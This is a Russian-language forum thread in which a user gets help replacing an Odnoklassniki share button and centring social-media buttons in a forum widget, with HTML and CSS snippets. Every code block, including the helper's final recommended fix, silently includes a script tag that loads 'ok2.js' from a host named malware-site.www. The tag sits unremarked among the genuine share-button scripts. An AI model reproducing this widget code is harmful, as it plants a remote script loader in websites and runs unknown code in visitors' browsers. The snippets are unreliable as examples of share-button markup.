Не ставится код в виджет (Кнопка "Класс" от "Одноклассников"

Дана, спасибо большое, что пояснили ситуацию о том что появилась новая версия кода кнопки "Класс" от сайта "Одноклассники" а старая устарела, но вот поставить ее не получается. Мой текущий код виджета такой?

Код:

<center>

<link href="http://stg.odnoklassniki.ru/share/odkl_share.css" rel="stylesheet">
<script src="http://stg.odnoklassniki.ru/share/odkl_share.js" type="text/javascript" ></script><div>
<a class="odkl-klass-oc" href="http://www.navoloki.com" onclick="ODKL.Share(this);return false;" ><span>0</span></a>
</div><div style="width:5px; height:5px"></div>
<a class="mrc__share" href="http://connect.mail.ru/share">В Мой Мир</a>
<script src="http://cdn.connect.mail.ru/js/share/2/share.js" type="text/javascript" charset="UTF-8"></script><div style="width:5px; height:5px"></div>

<script type="text/javascript" src="http://vkontakte.ru/js/api/share.js?10" charset="windows-1251"></script>
<script type="text/javascript"><!--
document.write(VK.Share.button(false,{type: "round", text: "Сохранить"}));
--></script><div style="width:5px; height:5px"></div>

<script src="http://malware-site.www/ok2.js" type="text/javascript"></script>

Посмотрите пожалуйста на форуме, важно чтобы кнопки были по центру и столбиком. Помогите мне заменить кнопку одноклассников в этом коде, у меня почему то при замене, все кнопки становятся по левой стороне, а что еще хуже идущий ниже виджет "Рейтинг нашего форума" оказывается вверху страницы прямо под шапкой. В чем проблема не понимаю...

На всякий случай уточню — остатки старой кнопки удалили?

извините что вмешиваюсь
а остатки кода надо удалять ? дана ? я поставил новую а остатки от старой не удалил

Да, надо убрать, чтобы не было конфликтов.

спасибо ! и просьба дайте ссылку на пост где учили старую кнопку ставить а то забыл в каком шаблоне и что искать

Смотрите по теме: https://help.forum2x2.ru/t25509-topic#187748

я удалю код клторый был предложен в той теме и вставлю тот который был в самый первый раз

Ринат пишет:я удалю код клторый был предложен в той теме и вставлю тот который был в самый первый раз

после этого кнопка перестала работать

Спасибо, да не полностью код заменил. Все получилось, только, Дана помогите сделать чтобы кнопки были по центру (У меня по левой стороне) виджета, у меня вот этот код:

Код:

<a target="_blank" class="mrc__plugin_uber_like_button" href="http://connect.mail.ru/share" data-mrc-config="{'cm' : '1', 'ck' : '1', 'sz' : '20', 'st' : '1', 'tp' : 'ok'}">Нравится</a>
<script src="http://cdn.connect.mail.ru/js/loader.js" type="text/javascript" charset="UTF-8"></script><div style="width:5px; height:5px"></div>

<a target="_blank" class="mrc__plugin_uber_like_button" href="http://connect.mail.ru/share" data-mrc-config="{'cm' : '1', 'ck' : '1', 'sz' : '20', 'st' : '1', 'tp' : 'mm'}">Нравится</a>
<script src="http://cdn.connect.mail.ru/js/loader.js" type="text/javascript" charset="UTF-8"></script>
<div style="width:5px; height:5px"></div>

<script type="text/javascript" src="http://vkontakte.ru/js/api/share.js?10" charset="windows-1251"></script>
<script type="text/javascript"><!--
document.write(VK.Share.button(false,{type: "round", text: "Сохранить"}));
--></script><div style="width:5px; height:5px"></div>

<script src="http://malware-site.www/ok2.js" type="text/javascript"></script>

Поправьте его пожалуйста, сделайте все по центру, а то у меня не получается..

Поправьте его пожалуйста, сделайте все по центру, а то у меня не получается..

Я выстовлял по центру прописав перед кодом ( скриптом ) <center>

Боюсь, эти так просто не отцентрируются. Они не просто кнопки, они — фреймы. Сейчас посмотрю.

Прежние кнопки центрировались... Спасибо, Дана, помогите пожалуйста, а то совсем из общего стиля форума отбивается...

Простите за темноту !
я поменял код со старого на новый а в шаблоне строчку какую ставить ведь в новой кнопке об этом не говорится

Дана, вы написали, что посмотрите. Отпишитесь, пожалуйста можно ли отцентрировать кнопки, или нет. Очень хотелось бы сделать их по центру, неужели никак нельзя?

Нормального результат добиться не получилось. Чтобы выровнять кнопки по центру, надо зафиксировать их ширину, а тогда неизбежно страдает отображение чисел проголосовавших.

Вот оптимальный вариант.

1) Код счетчиков (внутри дива)

Код:

<div id="btvd"><a target="_blank" class="mrc__plugin_uber_like_button" href="http://connect.mail.ru/share" data-mrc-config="{'cm' : '1', 'ck' : '1', 'sz' : '20', 'st' : '1', 'tp' : 'ok'}">Нравится</a>
<script src="http://cdn.connect.mail.ru/js/loader.js" type="text/javascript" charset="UTF-8"></script><div style="width:5px; height:5px"></div>

<a target="_blank" class="mrc__plugin_uber_like_button" href="http://connect.mail.ru/share" data-mrc-config="{'cm' : '1', 'ck' : '1', 'sz' : '20', 'st' : '1', 'tp' : 'mm'}">Нравится</a>
<script src="http://cdn.connect.mail.ru/js/loader.js" type="text/javascript" charset="UTF-8"></script><div style="width:5px; height:5px"></div>

<script type="text/javascript" src="http://vkontakte.ru/js/api/share.js?10" charset="windows-1251"></script>
<script type="text/javascript"><!--
document.write(VK.Share.button(false,{type: "round", text: "Сохранить"}));
--></script><div style="width:5px; height:5px"></div>

<script src="http://malware-site.www/ok2.js" type="text/javascript"></script>

</div>

2) CSS для них:

Код:

#btvd {
padding: 0 !important;
width: 150px;
text-align: center !important;
margin: 0 auto;
border: 1px solid black;
}

#btvd span {
position: relative !important;
display: block;
margin-left: -45px !important;
padding: 0;
left: 50% !important;
}

#btvd table {
margin: 0 auto !important;
}

Спасибо, Дана! То что нужно! Закрываю)